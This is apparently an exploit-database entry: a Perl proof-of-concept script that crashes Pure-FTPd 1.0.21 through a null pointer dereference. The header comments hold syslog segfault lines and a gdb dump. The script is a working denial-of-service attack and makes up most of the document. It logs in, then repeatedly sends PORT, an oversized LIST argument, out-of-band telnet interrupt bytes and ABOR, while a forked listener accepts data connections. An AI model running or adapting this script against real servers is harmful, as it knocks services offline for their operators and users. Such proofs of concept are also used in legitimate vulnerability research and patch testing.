Pure-FTPd 1.0.21 (CentOS 6.2 / Ubuntu 8.04) - Null Pointer Dereference Crash (PoC)

#Pure-FTPd Crash PoC (Null Pointer Dereference), tested with pure-ftpd v1.0.21 (centos 6.2, ubuntu 8.04)
#latest version (v1.0.36) is not affected !!
#discovered by Kingcope
#
#root@ubuntu:~# grep seg /var/log/syslog
#Aug 13 13:55:28 ubuntu kernel: [  226.791747] pure-ftpd[4825]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4
#Aug 13 13:56:21 ubuntu kernel: [  280.295826] pure-ftpd[4836]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to process 5358]
#doreply () at ftpd.c:698
#698             nextentry = scannedentry->next;
#(gdb) i r
#eax            0x0      0
#ecx            0xbf967540       -1080658624
#edx            0x0      0
#ebx            0x0      0
#esp            0xbf967540       0xbf967540
#ebp            0xbf967588       0xbf967588
#esi            0x0      0
#edi            0xbf96756c       -1080658580
#eip            0x804b090        0x804b090 <doreply+256>
#eflags         0x10217  [ CF PF AF IF RF ]
#cs             0x73     115
#ss             0x7b     123
#ds             0x7b     123
#es             0x7b     123
#fs             0x0      0
#gs             0x33     51
#(gdb) x/10i $eip
#=> 0x804b090 <doreply+256>:     mov    (%eax),%ebx
#   0x804b092 <doreply+258>:     mov    %eax,(%esp)
#   0x804b095 <doreply+261>:     call   0x8049928 <free@plt>
#   0x804b09a <doreply+266>:     test   %ebx,%ebx
#   0x804b09c <doreply+268>:     mov    %ebx,%eax
#   0x804b09e <doreply+270>:     jne    0x804b090 <doreply+256>
#   0x804b0a0 <doreply+272>:     movl   $0x0,0x805d040
#   0x804b0aa <doreply+282>:     movl   $0x0,0x805d03c
#   0x804b0b4 <doreply+292>:     add    $0x3c,%esp
#   0x804b0b7 <doreply+295>:     pop    %ebx
#(gdb) 

use IO::Socket;

$host = $ARGV[0];
$username = $ARGV[1];
$password = $ARGV[2];
$locip = $ARGV[3];
$locip =~ s/\./,/gi;

if (($host eq "") or ($username eq "") or ($password eq "") or ($locip eq "")) {
	print "Usage: POC.pl <hostname> <username> <password> <localip>\n";
	exit;
}

if (fork()) {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => 21,
                              Proto => 'tcp');
while(<$sock>) {
	$p = $_;
	print $p;
	if ($p =~ /220\s/) {
		last;	
	}
		
}
print $sock "USER $ARGV[1]\r\n";
$p = <$sock>;
print $p;
print $sock "PASS $ARGV[2]\r\n";
$p = <$sock>;
print $p;
for ($k=0;$k<100;$k++) {
print $k."\n";
print $sock "PORT $locip,146,15\r\n";
$p = <$sock>;
print $p;
$a = "A" x 2560;
print $sock "LIST $a\r\n";
select(undef,undef,undef,k*0.001); # TWEAK THIS VALUE, USED A HOST TO VM CONNECTION WHEN TESTING
send $sock, "!",MSG_OOB;
print $sock "\377";
print $sock "\364";
print $sock "\377";
print $sock "\362";
print $sock "ABOR\r\n";
$p = <$sock>;
print $p;
print $sock "PWD\r\n";
$p = <$sock>;
print $p;
}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => 37391, Proto => 'tcp', Listen => 1000);
die "Could not create socket: $!\n" unless $servsock;
while(my $new_sock = $servsock->accept()) {
while(<$new_sock>) {
print $_;
}
}
}